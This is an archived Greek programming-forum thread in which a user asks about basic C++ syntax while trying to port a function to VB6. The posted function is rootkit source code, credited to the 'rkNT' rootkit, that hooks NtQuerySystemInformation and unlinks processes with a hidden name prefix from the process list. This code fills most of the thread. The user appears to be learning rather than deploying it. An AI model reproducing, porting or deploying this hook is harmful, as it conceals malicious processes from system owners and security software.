Προς το περιεχόμενο

Αποριες σε C++


ntaryl

Προτεινόμενες αναρτήσεις

Δημοσ.

Γεια σας και παλι

Προσπαθω να μετατρεψω ενα κομματι κωδικα απο C++ σε VB6

διαβαζω λιγακι και προσπαθω να καταλαβω πως δουλευει ...

Εχω ομως αποριες αφου στην συγκεκριμενη γλωσσα ειμαι στουρναρακι

:-)

>
while (1)  
char *pname = NULL;

ευχαριστω πολυ

Δημοσ.

Ευχαριστω πολυ φιλε μου

προσπαθω να μετατρεψω το παρακατω

>
/* MyNtQuerySystemInformation : install a hook at system query
level to prevent _nti* processes from being shown.
Thanks to R-e-d for this function released in rkNT rootkit.
(error checks stripped)
*/
DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass,
PVOID SystemInformation, ULONG SystemInformationLength,
                                                               PULONG ReturnLength)
{
       PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;
       char *pname = NULL;
       DWORD rc;

       /* 1st of all, get the return value of the function */
       rc = fNtQuerySystemInformation(SystemInformationClass,
             SystemInformation, SystemInformationLength, ReturnLength);
       
       /* if sucessful, perform sorting */
       if (rc == STATUS_SUCCESS)
       {
               /* system info */
               switch (SystemInformationClass)
               {
                       /* process list */
               case SystemProcessInformation:
                       pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION)
                                                  SystemInformation;
                       
                       while (1)
                       {
                               /* alloc memory to save process name in AINSI
                                  8bits string charset */
                               pname = (char *) GlobalAlloc(GMEM_ZEROINIT,
                                   pSpiCurrent->ProcessName.Length + 2);
                                                               
                               /* Convert unicode string to ainsi */
                               WideCharToMultiByte(CP_ACP, 0,
                                   pSpiCurrent->ProcessName.Buffer,
                                   pSpiCurrent->ProcessName.Length + 1,
                                   pname, pSpiCurrent->ProcessName.Length + 1,
                                   NULL, NULL);

                                   /* if "hidden" process*/
                               if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR,
                                   strlen(RTK_PROCESS_CHAR)))
                               {
                                       /* First process */
                                       if (pSpiCurrent->NextEntryDelta == 0)
                                       {
                                           pSpiPrec->NextEntryDelta = 0;
                                               break;
                                       }
                                       else
                                       {
                                               pSpiPrec->NextEntryDelta +=
                                                     pSpiCurrent->NextEntryDelta;
                                               
                                               pSpiCurrent =
                                               (PSYSTEM_PROCESS_INFORMATION) ((PCHAR)
                                               pSpiCurrent +
                                               pSpiCurrent->NextEntryDelta);
                                       }
                               }
                               else
                               {
                                       if (pSpiCurrent->NextEntryDelta == 0) break;
                                       pSpiPrec = pSpiCurrent;
                                       
                                       /* Walk the list */
                                       pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION)
                                       ((PCHAR) pSpiCurrent +
                                       pSpiCurrent->NextEntryDelta);
                               }
                               
                               GlobalFree(pname);
                       } /* /while */
                       break;
               } /* /switch */
       } /* /if */
       
       return (rc);
}

Αρχειοθετημένο

Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.

  • Δημιουργία νέου...